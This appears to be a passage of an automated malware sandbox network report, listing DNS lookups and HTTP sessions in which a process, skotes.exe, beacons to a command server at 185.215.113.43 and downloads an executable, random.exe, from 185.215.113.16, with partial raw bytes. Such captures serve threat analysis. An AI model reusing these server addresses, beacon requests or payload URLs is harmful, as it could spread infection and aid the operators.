Dec 9, 2024 23:09:41.636679888 CET	53	61709	1.1.1.1	192.168.2.4
Dec 9, 2024 23:09:41.637662888 CET	64520	53	192.168.2.4	1.1.1.1
Dec 9, 2024 23:09:41.769190073 CET	53	51049	1.1.1.1	192.168.2.4
Dec 9, 2024 23:09:41.769925117 CET	60827	53	192.168.2.4	1.1.1.1
Dec 9, 2024 23:09:41.774365902 CET	53	64520	1.1.1.1	192.168.2.4
Dec 9, 2024 23:09:41.776556015 CET	52720	53	192.168.2.4	1.1.1.1
Dec 9, 2024 23:09:41.906683922 CET	53	60827	1.1.1.1	192.168.2.4
Dec 9, 2024 23:09:41.912915945 CET	53	52720	1.1.1.1	192.168.2.4
Dec 9, 2024 23:09:42.335886955 CET	64827	53	192.168.2.4	1.1.1.1
Dec 9, 2024 23:09:42.359155893 CET	54779	53	192.168.2.4	1.1.1.1
Dec 9, 2024 23:09:42.472915888 CET	53	64827	1.1.1.1	192.168.2.4
Dec 9, 2024 23:09:42.473943949 CET	64087	53	192.168.2.4	1.1.1.1
Dec 9, 2024 23:09:42.496565104 CET	53	54779	1.1.1.1	192.168.2.4
Dec 9, 2024 23:09:42.610735893 CET	53	64087	1.1.1.1	192.168.2.4
Dec 9, 2024 23:09:42.611263990 CET	51713	53	192.168.2.4	1.1.1.1
Dec 9, 2024 23:09:42.979048967 CET	53	51713	1.1.1.1	192.168.2.4
Dec 9, 2024 23:09:43.115263939 CET	57097	53	192.168.2.4	1.1.1.1
Dec 9, 2024 23:09:43.115712881 CET	64045	53	192.168.2.4	1.1.1.1
Dec 9, 2024 23:09:43.253190994 CET	53	64045	1.1.1.1	192.168.2.4
Dec 9, 2024 23:09:43.253226995 CET	53	57097	1.1.1.1	192.168.2.4
Dec 9, 2024 23:09:43.254421949 CET	62505	53	192.168.2.4	1.1.1.1
Dec 9, 2024 23:09:43.254421949 CET	57040	53	192.168.2.4	1.1.1.1
Dec 9, 2024 23:09:43.391423941 CET	53	62505	1.1.1.1	192.168.2.4
Dec 9, 2024 23:09:43.392110109 CET	53	57040	1.1.1.1	192.168.2.4
Dec 9, 2024 23:09:43.837243080 CET	51662	53	192.168.2.4	1.1.1.1
Dec 9, 2024 23:09:43.837683916 CET	56796	53	192.168.2.4	1.1.1.1
Dec 9, 2024 23:09:43.858661890 CET	63503	53	192.168.2.4	1.1.1.1
Dec 9, 2024 23:09:43.977231979 CET	53	51662	1.1.1.1	192.168.2.4
Dec 9, 2024 23:09:43.977242947 CET	53	56796	1.1.1.1	192.168.2.4
Dec 9, 2024 23:09:43.996702909 CET	53	63503	1.1.1.1	192.168.2.4
Dec 9, 2024 23:09:43.999202967 CET	59945	53	192.168.2.4	1.1.1.1
Dec 9, 2024 23:09:44.136001110 CET	53	59945	1.1.1.1	192.168.2.4
Dec 9, 2024 23:09:44.147722006 CET	55214	53	192.168.2.4	1.1.1.1
Dec 9, 2024 23:09:44.162071943 CET	56375	53	192.168.2.4	1.1.1.1
Dec 9, 2024 23:09:44.285718918 CET	53	55214	1.1.1.1	192.168.2.4
Dec 9, 2024 23:09:55.590099096 CET	53	51526	1.1.1.1	192.168.2.4
Dec 9, 2024 23:09:55.612701893 CET	53	55202	1.1.1.1	192.168.2.4
Dec 9, 2024 23:09:58.822288036 CET	53	57348	1.1.1.1	192.168.2.4
Dec 9, 2024 23:09:59.867408991 CET	58132	53	192.168.2.4	1.1.1.1
Dec 9, 2024 23:09:59.867831945 CET	63376	53	192.168.2.4	1.1.1.1
Dec 9, 2024 23:10:00.004831076 CET	53	58132	1.1.1.1	192.168.2.4
Dec 9, 2024 23:10:00.007638931 CET	53	63376	1.1.1.1	192.168.2.4
Dec 9, 2024 23:10:01.900276899 CET	63547	53	192.168.2.4	1.1.1.1
Dec 9, 2024 23:10:01.900389910 CET	54073	53	192.168.2.4	1.1.1.1
Dec 9, 2024 23:10:03.108361006 CET	58476	53	192.168.2.4	1.1.1.1
Dec 9, 2024 23:10:03.256952047 CET	53	58476	1.1.1.1	192.168.2.4

ICMP Packets

Timestamp	Source IP	Dest IP	Checksum	Code	Type
Dec 9, 2024 23:10:02.332451105 CET	192.168.2.4	1.1.1.1	c2c1	(Port unreachable)	Destination Unreachable

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 9, 2024 23:09:14.651407957 CET	192.168.2.4	1.1.1.1	0xd885	Standard query (0)	atten-supporse.biz	A (IP address)	IN (0x0001)	false
Dec 9, 2024 23:09:37.587831020 CET	192.168.2.4	1.1.1.1	0xaac7	Standard query (0)	prod.classify-client.prod.webservices.mozgcp.net	A (IP address)	IN (0x0001)	false
Dec 9, 2024 23:09:37.968075991 CET	192.168.2.4	1.1.1.1	0x3f48	Standard query (0)	prod.classify-client.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Dec 9, 2024 23:09:41.492753029 CET	192.168.2.4	1.1.1.1	0xafdc	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false
Dec 9, 2024 23:09:41.499263048 CET	192.168.2.4	1.1.1.1	0x76cd	Standard query (0)	youtube.com	A (IP address)	IN (0x0001)	false
Dec 9, 2024 23:09:41.631985903 CET	192.168.2.4	1.1.1.1	0xa9c4	Standard query (0)	prod.detectportal.prod.cloudops.mozgcp.net	A (IP address)	IN (0x0001)	false
Dec 9, 2024 23:09:41.637662888 CET	192.168.2.4	1.1.1.1	0x1757	Standard query (0)	youtube.com	A (IP address)	IN (0x0001)	false
Dec 9, 2024 23:09:41.769925117 CET	192.168.2.4	1.1.1.1	0xa142	Standard query (0)	prod.detectportal.prod.cloudops.mozgcp.net	28	IN (0x0001)	false
Dec 9, 2024 23:09:41.776556015 CET	192.168.2.4	1.1.1.1	0x92dc	Standard query (0)	youtube.com	28	IN (0x0001)	false
Dec 9, 2024 23:09:42.335886955 CET	192.168.2.4	1.1.1.1	0xeff9	Standard query (0)	contile.services.mozilla.com	A (IP address)	IN (0x0001)	false
Dec 9, 2024 23:09:42.359155893 CET	192.168.2.4	1.1.1.1	0xf3a0	Standard query (0)	spocs.getpocket.com	A (IP address)	IN (0x0001)	false
Dec 9, 2024 23:09:42.473943949 CET	192.168.2.4	1.1.1.1	0x80a8	Standard query (0)	contile.services.mozilla.com	A (IP address)	IN (0x0001)	false
Dec 9, 2024 23:09:42.611263990 CET	192.168.2.4	1.1.1.1	0x1ea4	Standard query (0)	contile.services.mozilla.com	28	IN (0x0001)	false
Dec 9, 2024 23:09:43.115263939 CET	192.168.2.4	1.1.1.1	0xc4e0	Standard query (0)	prod.ads.prod.webservices.mozgcp.net	A (IP address)	IN (0x0001)	false
Dec 9, 2024 23:09:43.115712881 CET	192.168.2.4	1.1.1.1	0xf0d5	Standard query (0)	prod.balrog.prod.cloudops.mozgcp.net	A (IP address)	IN (0x0001)	false
Dec 9, 2024 23:09:43.254421949 CET	192.168.2.4	1.1.1.1	0xed98	Standard query (0)	prod.balrog.prod.cloudops.mozgcp.net	28	IN (0x0001)	false
Dec 9, 2024 23:09:43.254421949 CET	192.168.2.4	1.1.1.1	0x7e8d	Standard query (0)	prod.ads.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Dec 9, 2024 23:09:43.837243080 CET	192.168.2.4	1.1.1.1	0x24e2	Standard query (0)	example.org	A (IP address)	IN (0x0001)	false
Dec 9, 2024 23:09:43.837683916 CET	192.168.2.4	1.1.1.1	0xa4b9	Standard query (0)	ipv4only.arpa	A (IP address)	IN (0x0001)	false
Dec 9, 2024 23:09:43.858661890 CET	192.168.2.4	1.1.1.1	0xe942	Standard query (0)	content-signature-2.cdn.mozilla.net	A (IP address)	IN (0x0001)	false
Dec 9, 2024 23:09:43.999202967 CET	192.168.2.4	1.1.1.1	0x9516	Standard query (0)	prod.content-signature-chains.prod.webservices.mozgcp.net	A (IP address)	IN (0x0001)	false
Dec 9, 2024 23:09:44.147722006 CET	192.168.2.4	1.1.1.1	0x97f9	Standard query (0)	prod.content-signature-chains.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Dec 9, 2024 23:09:44.162071943 CET	192.168.2.4	1.1.1.1	0x425a	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false
Dec 9, 2024 23:09:59.867408991 CET	192.168.2.4	1.1.1.1	0xe508	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Dec 9, 2024 23:09:59.867831945 CET	192.168.2.4	1.1.1.1	0x54d0	Standard query (0)	www.google.com	65	IN (0x0001)	false
Dec 9, 2024 23:10:01.900276899 CET	192.168.2.4	1.1.1.1	0xce7a	Standard query (0)	js.monitor.azure.com	A (IP address)	IN (0x0001)	false
Dec 9, 2024 23:10:01.900389910 CET	192.168.2.4	1.1.1.1	0xaa78	Standard query (0)	js.monitor.azure.com	65	IN (0x0001)	false
Dec 9, 2024 23:10:03.108361006 CET	192.168.2.4	1.1.1.1	0xd649	Standard query (0)	prod.classify-client.prod.webservices.mozgcp.net	28	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Dec 9, 2024 23:09:14.889875889 CET	1.1.1.1	192.168.2.4	0xd885	No error (0)	atten-supporse.biz		104.21.48.1	A (IP address)	IN (0x0001)	false
Dec 9, 2024 23:09:14.889875889 CET	1.1.1.1	192.168.2.4	0xd885	No error (0)	atten-supporse.biz		104.21.16.1	A (IP address)	IN (0x0001)	false
Dec 9, 2024 23:09:14.889875889 CET	1.1.1.1	192.168.2.4	0xd885	No error (0)	atten-supporse.biz		104.21.32.1	A (IP address)	IN (0x0001)	false
Dec 9, 2024 23:09:14.889875889 CET	1.1.1.1	192.168.2.4	0xd885	No error (0)	atten-supporse.biz		104.21.96.1	A (IP address)	IN (0x0001)	false
Dec 9, 2024 23:09:14.889875889 CET	1.1.1.1	192.168.2.4	0xd885	No error (0)	atten-supporse.biz		104.21.112.1	A (IP address)	IN (0x0001)	false
Dec 9, 2024 23:09:14.889875889 CET	1.1.1.1	192.168.2.4	0xd885	No error (0)	atten-supporse.biz		104.21.64.1	A (IP address)	IN (0x0001)	false
Dec 9, 2024 23:09:14.889875889 CET	1.1.1.1	192.168.2.4	0xd885	No error (0)	atten-supporse.biz		104.21.80.1	A (IP address)	IN (0x0001)	false
Dec 9, 2024 23:09:37.487025023 CET	1.1.1.1	192.168.2.4	0xcdb6	No error (0)	prod.classify-client.prod.webservices.mozgcp.net		35.190.72.216	A (IP address)	IN (0x0001)	false
Dec 9, 2024 23:09:37.900635004 CET	1.1.1.1	192.168.2.4	0xaac7	No error (0)	prod.classify-client.prod.webservices.mozgcp.net		35.190.72.216	A (IP address)	IN (0x0001)	false
Dec 9, 2024 23:09:41.630951881 CET	1.1.1.1	192.168.2.4	0xafdc	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 9, 2024 23:09:41.630951881 CET	1.1.1.1	192.168.2.4	0xafdc	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Dec 9, 2024 23:09:41.636679888 CET	1.1.1.1	192.168.2.4	0x76cd	No error (0)	youtube.com		142.250.181.78	A (IP address)	IN (0x0001)	false
Dec 9, 2024 23:09:41.769190073 CET	1.1.1.1	192.168.2.4	0xa9c4	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Dec 9, 2024 23:09:41.774365902 CET	1.1.1.1	192.168.2.4	0x1757	No error (0)	youtube.com		142.250.181.78	A (IP address)	IN (0x0001)	false
Dec 9, 2024 23:09:41.906683922 CET	1.1.1.1	192.168.2.4	0xa142	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net			28	IN (0x0001)	false
Dec 9, 2024 23:09:41.912915945 CET	1.1.1.1	192.168.2.4	0x92dc	No error (0)	youtube.com			28	IN (0x0001)	false
Dec 9, 2024 23:09:42.472915888 CET	1.1.1.1	192.168.2.4	0xeff9	No error (0)	contile.services.mozilla.com		34.117.188.166	A (IP address)	IN (0x0001)	false
Dec 9, 2024 23:09:42.496565104 CET	1.1.1.1	192.168.2.4	0xf3a0	No error (0)	spocs.getpocket.com	prod.ads.prod.webservices.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 9, 2024 23:09:42.496565104 CET	1.1.1.1	192.168.2.4	0xf3a0	No error (0)	prod.ads.prod.webservices.mozgcp.net		34.117.188.166	A (IP address)	IN (0x0001)	false
Dec 9, 2024 23:09:42.538000107 CET	1.1.1.1	192.168.2.4	0x79d4	No error (0)	balrog-aus5.r53-2.services.mozilla.com	prod.balrog.prod.cloudops.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 9, 2024 23:09:42.538000107 CET	1.1.1.1	192.168.2.4	0x79d4	No error (0)	prod.balrog.prod.cloudops.mozgcp.net		35.244.181.201	A (IP address)	IN (0x0001)	false
Dec 9, 2024 23:09:42.610735893 CET	1.1.1.1	192.168.2.4	0x80a8	No error (0)	contile.services.mozilla.com		34.117.188.166	A (IP address)	IN (0x0001)	false
Dec 9, 2024 23:09:43.253190994 CET	1.1.1.1	192.168.2.4	0xf0d5	No error (0)	prod.balrog.prod.cloudops.mozgcp.net		35.244.181.201	A (IP address)	IN (0x0001)	false
Dec 9, 2024 23:09:43.253226995 CET	1.1.1.1	192.168.2.4	0xc4e0	No error (0)	prod.ads.prod.webservices.mozgcp.net		34.117.188.166	A (IP address)	IN (0x0001)	false
Dec 9, 2024 23:09:43.977231979 CET	1.1.1.1	192.168.2.4	0x24e2	No error (0)	example.org		93.184.215.14	A (IP address)	IN (0x0001)	false
Dec 9, 2024 23:09:43.977242947 CET	1.1.1.1	192.168.2.4	0xa4b9	No error (0)	ipv4only.arpa		192.0.0.170	A (IP address)	IN (0x0001)	false
Dec 9, 2024 23:09:43.977242947 CET	1.1.1.1	192.168.2.4	0xa4b9	No error (0)	ipv4only.arpa		192.0.0.171	A (IP address)	IN (0x0001)	false
Dec 9, 2024 23:09:43.996702909 CET	1.1.1.1	192.168.2.4	0xe942	No error (0)	content-signature-2.cdn.mozilla.net	content-signature-chains.prod.autograph.services.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 9, 2024 23:09:43.996702909 CET	1.1.1.1	192.168.2.4	0xe942	No error (0)	content-signature-chains.prod.autograph.services.mozaws.net	prod.content-signature-chains.prod.webservices.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 9, 2024 23:09:43.996702909 CET	1.1.1.1	192.168.2.4	0xe942	No error (0)	prod.content-signature-chains.prod.webservices.mozgcp.net		34.160.144.191	A (IP address)	IN (0x0001)	false
Dec 9, 2024 23:09:44.136001110 CET	1.1.1.1	192.168.2.4	0x9516	No error (0)	prod.content-signature-chains.prod.webservices.mozgcp.net		34.160.144.191	A (IP address)	IN (0x0001)	false
Dec 9, 2024 23:09:44.285718918 CET	1.1.1.1	192.168.2.4	0x97f9	No error (0)	prod.content-signature-chains.prod.webservices.mozgcp.net			28	IN (0x0001)	false
Dec 9, 2024 23:09:44.300718069 CET	1.1.1.1	192.168.2.4	0x425a	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 9, 2024 23:09:44.300718069 CET	1.1.1.1	192.168.2.4	0x425a	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Dec 9, 2024 23:10:00.004831076 CET	1.1.1.1	192.168.2.4	0xe508	No error (0)	www.google.com		142.250.181.68	A (IP address)	IN (0x0001)	false
Dec 9, 2024 23:10:00.007638931 CET	1.1.1.1	192.168.2.4	0x54d0	No error (0)	www.google.com			65	IN (0x0001)	false
Dec 9, 2024 23:10:02.037494898 CET	1.1.1.1	192.168.2.4	0xce7a	No error (0)	js.monitor.azure.com	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 9, 2024 23:10:02.037494898 CET	1.1.1.1	192.168.2.4	0xce7a	No error (0)	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net	star-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 9, 2024 23:10:02.037494898 CET	1.1.1.1	192.168.2.4	0xce7a	No error (0)	shed.dual-low.s-part-0035.t-0009.t-msedge.net	s-part-0035.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 9, 2024 23:10:02.037494898 CET	1.1.1.1	192.168.2.4	0xce7a	No error (0)	s-part-0035.t-0009.t-msedge.net		13.107.246.63	A (IP address)	IN (0x0001)	false
Dec 9, 2024 23:10:02.317070961 CET	1.1.1.1	192.168.2.4	0x5da4	No error (0)	consentdeliveryfd.azurefd.net	firstparty-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 9, 2024 23:10:02.332376003 CET	1.1.1.1	192.168.2.4	0xaa78	No error (0)	js.monitor.azure.com	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 9, 2024 23:10:02.332376003 CET	1.1.1.1	192.168.2.4	0xaa78	No error (0)	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net	star-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 9, 2024 23:10:02.555809975 CET	1.1.1.1	192.168.2.4	0x8751	No error (0)	consentdeliveryfd.azurefd.net	firstparty-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 9, 2024 23:10:02.555809975 CET	1.1.1.1	192.168.2.4	0x8751	No error (0)	shed.dual-low.s-part-0035.t-0009.t-msedge.net	s-part-0035.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 9, 2024 23:10:02.555809975 CET	1.1.1.1	192.168.2.4	0x8751	No error (0)	s-part-0035.t-0009.t-msedge.net		13.107.246.63	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

atten-supporse.biz

185.215.113.43

185.215.113.16

185.215.113.206

detectportal.firefox.com

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49758	185.215.113.43	80	7660	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 9, 2024 23:09:04.410979986 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 9, 2024 23:09:05.760262012 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 09 Dec 2024 22:09:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49764	185.215.113.43	80	7660	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 9, 2024 23:09:07.397635937 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 31 32 39 37 35 42 34 35 46 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7CB12975B45F82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Dec 9, 2024 23:09:08.742427111 CET	558	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 09 Dec 2024 22:09:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 36 66 0d 0a 20 3c 63 3e 31 30 31 33 35 33 36 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 65 38 65 37 65 37 62 39 63 61 33 30 38 30 34 30 34 32 62 61 35 63 65 39 30 32 34 31 35 34 35 30 23 31 30 31 33 35 33 37 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 65 38 66 38 65 36 62 31 63 61 37 32 64 64 35 33 34 64 62 30 35 37 65 62 34 31 30 61 34 39 34 64 39 64 23 31 30 31 33 35 33 38 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 65 38 66 63 66 37 62 38 63 37 33 30 38 30 34 30 34 32 62 61 35 63 65 39 30 32 34 31 35 34 35 30 23 31 30 31 33 35 33 39 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 [TRUNCATED] Data Ascii: 16f <c>1013536001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8e7e7b9ca30804042ba5ce902415450#1013537001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8f8e6b1ca72dd534db057eb410a494d9d#1013538001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8fcf7b8c730804042ba5ce902415450#1013539001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8e4f4b2846d934f48b15eaa495c49#<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49770	185.215.113.16	80	7660	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 9, 2024 23:09:08.866079092 CET	55	OUT	GET /luma/random.exe HTTP/1.1 Host: 185.215.113.16
Dec 9, 2024 23:09:10.209919930 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 09 Dec 2024 22:09:09 GMT Content-Type: application/octet-stream Content-Length: 1895424 Last-Modified: Mon, 09 Dec 2024 21:09:04 GMT Connection: keep-alive ETag: "67575c70-1cec00" Accept-Ranges: bytes Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 ea b9 55 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 dc 03 00 00 b2 00 00 00 00 00 00 00 e0 4a 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 10 4b 00 00 04 00 00 a6 e5 1d 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 5c 40 05 00 70 00 00 00 00 30 05 00 b0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 41 05 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PELUgJ@K@\@p0A B@.rsrc0R@.idata @V@ +PX@xyjapqshp`0lZ@fjnsenoeJ@.taggant0J"@
Dec 9, 2024 23:09:10.209989071 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 9, 2024 23:09:10.209999084 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 9, 2024 23:09:10.210146904 CET	372	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 9, 2024 23:09:10.210207939 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 9, 2024 23:09:10.210220098 CET	1236	IN	Data Raw: a7 2f 77 4f c9 eb 53 b8 29 16 79 ef 8e 42 b9 17 93 e1 8c 3c 44 76 ad 80 2c a5 b3 d7 61 eb 0f 19 7a 26 4f cb 18 e2 9c 5d 8e 36 a1 f1 71 09 9d 1d 64 e3 e5 dd 37 a2 6f e1 a2 ce 7f 56 36 eb e1 8d 28 da ca f9 96 db e3 6e 2f 08 6a d8 9a 12 58 de cd a0 Data Ascii: /wOS)yB<Dv,az&O]6qd7oV6(n/jXs)KM!^S,QWRNs4)Q:d:N,lN^y2B@<c4NWA4v:lK*SOD{JKc@#~U2%W`W>^+"
Dec 9, 2024 23:09:10.210230112 CET	1236	IN	Data Raw: c1 27 84 19 ce d3 e9 e7 7f 73 96 46 06 c4 7b 3c 0e 3c 42 e1 45 c7 3a 3e 29 da 3a cd bb 96 1b 62 44 bc 61 14 04 b0 3a d9 82 de 95 1c 4a 79 a8 88 c7 ab 44 ef 1a 29 7b ed c7 46 8f 50 36 82 78 16 99 28 80 eb a9 28 89 f9 bf c4 c4 a5 b3 d5 49 4e bf f3 Data Ascii: 'sF{<<BE:>):bDa:JyD){FP6x((IN7}^JqN3j)s/$X)[n'lOqhsZ\-Sr'yNw~oB3MMTl*BWPvQ;){76Bvd 3wkTO
Dec 9, 2024 23:09:10.210243940 CET	1236	IN	Data Raw: 42 5f 1f 8f 8f c1 07 5a a9 a4 ca 1e 4a 6c cc f5 31 94 50 21 31 c6 9e 52 c0 6f 03 f9 27 c6 c1 57 3a 55 9c c6 85 c3 5f 73 79 34 7d cd f7 4d f9 3b 9c 27 38 c5 8a 80 b7 d3 48 07 12 7e e6 7f 47 99 67 5f 3b 30 b8 17 b0 08 51 61 59 fa 68 41 81 ce 00 5f Data Ascii: B_ZJl1P!1Ro'W:U_sy4}M;'8H~Gg_;0QaYhA_%?C^1.fW^ _.Rhiee.,ZBd8/@K!#}`[:>Q`I\F7?bQSUCU]nV6+\n^5yzX@9as_X%C#QaFF*
Dec 9, 2024 23:09:10.210591078 CET	1236	IN	Data Raw: 5c c3 0a 60 07 ae 8f 1c 85 27 ac 4a 11 3c 40 e2 c0 9d 53 00 b0 44 ca c6 7d 4f 70 06 17 e7 de 8e cb ca 7f 1a 64 a4 94 9f 09 b2 8d 79 68 e9 61 8e 23 b5 bd 91 2f ac 60 89 ae 1f d3 b4 5d 5f 1c d8 6e e6 3e 2a 4e 4a ca 61 87 16 99 17 92 ec dc 8d 63 65 Data Ascii: \`'J<@SD}Opdyha#/`]_n>NJace9c+8~wZavxy$a(CzC;g,CJ _OtTi(a%V\|GNXuJVZ^VmjVtP
